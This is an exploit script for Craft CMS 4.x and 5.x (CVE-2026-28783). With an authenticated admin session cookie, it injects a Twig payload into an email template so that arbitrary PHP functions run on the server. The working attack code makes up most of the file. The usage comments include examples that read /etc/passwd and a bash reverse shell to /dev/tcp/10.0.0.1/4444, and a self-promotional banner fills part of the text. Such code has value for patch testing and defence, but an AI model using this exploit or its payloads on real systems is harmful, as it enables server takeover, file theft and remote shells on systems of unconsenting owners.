#!/usr/bin/env python3
# Exploit Title: Craft CMS 4.x & 5.x RCE via Blocklist Bypass
# CVE: CVE-2026-28783
# Date: 2025-11-15
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://craftcms.com
# Software Link: https://github.com/craftcms/cms
# Affected: Craft CMS 4.0.0-RC1 to 4.17.0-beta.1 / 5.0.0-RC1 to 5.9.0-beta.1
# Tested on: Craft CMS 4.x & 5.x (vulnerable versions)
# Category: Remote Code Execution
# Platform: PHP / Craft CMS
# Exploit Type: Authenticated (admin/editor Twig template access)
# CVSS: 8.8 (High) [Estimated]
# CWE: CWE-94, CWE-184, CWE-1336
# Description: Craft CMS allowed arbitrary PHP function execution via Twig filters
# using non-closure arrow function syntax due to an incomplete blocklist.
# Fixed in: Craft CMS 4.17.0 / 5.9.0 (Twig sandbox enforcement)
# Usage:
# python3 exploit.py <target_url> --cookie <session_cookie> --cmd "<command>" --func <php_function>
#
# Examples:
# python3 exploit.py http://craft.target.com --cookie "abc123..." --cmd "id"
# python3 exploit.py http://craft.target.com --cookie "xyz..." --cmd "whoami" --func passthru
# python3 exploit.py http://craft.target.com --cookie "abc..." --cmd "/etc/passwd" --func file_get_contents
#
# Options:
# --cookie CraftSessionId value from authenticated admin session
# --cmd Command or argument to pass to the PHP function
# --func PHP function to call (system, passthru, exec, file_get_contents, etc.)
#
# Notes:
# - Requires authenticated access to edit Twig-enabled templates (System Messages, email templates, custom fields).
# - Not unauthenticated / blind RCE — needs valid admin/editor privileges.
# - For reverse shell: --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" --func system
#
# How to Use
#
# Step 1: Log in to Craft CMS admin panel as an administrator or editor with Twig template edit permissions
# Step 2: Copy your CraftSessionId cookie from browser dev tools (Application → Cookies)
# Step 3: Run the exploit with the target URL and your session cookie
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║
║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-28783 • Craft CMS Twig RCE via Blocklist Bypass ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import requests
import argparse
import sys
def exploit_craft_twig_rce(target_url, session_cookie, command, function):
save_endpoint = f"{target_url.rstrip('/')}/admin/settings/email/save-message"
twig_payload = (
f"{{{{ ['{command.replace("'", "\\'")}'] | map('{function}') | join }}}}"
)
data = {
"id": "1",
"name": "Contact Form",
"subject": "Test Subject",
"body": twig_payload,
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Referer": f"{target_url}/admin/settings/email",
}
cookies = {"CraftSessionId": session_cookie}
print(f"[*] Target: {save_endpoint}")
print(f"[*] Payload:\n {twig_payload}")
print(f"[*] Calling PHP::{function}('{command}')\n")
try:
response = requests.post(
save_endpoint,
data=data,
headers=headers,
cookies=cookies,
allow_redirects=False,
timeout=15
)
print(f"[+] Status: {response.status_code}")
if response.status_code in (200, 302):
print("[+] Payload delivered successfully!")
print(" → Trigger by sending a test email or rendering the template.")
print(" → Check output / server logs for result.")
else:
print(f"[-] Failed: {response.status_code} - {response.text[:300]}...")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description="CVE-2026-28783 Craft CMS Twig Blocklist Bypass → RCE PoC"
)
parser.add_argument("url", help="Craft CMS base URL[](http://target.com)")
parser.add_argument("--cookie", required=True, help="CraftSessionId cookie value")
parser.add_argument("--cmd", default="id", help="Command/argument to execute")
parser.add_argument("--func", default="system", help="PHP function (system/passthru/file_get_contents/...)")
args = parser.parse_args()
exploit_craft_twig_rce(
target_url=args.url,
session_cookie=args.cookie,
command=args.cmd,
function=args.func
)
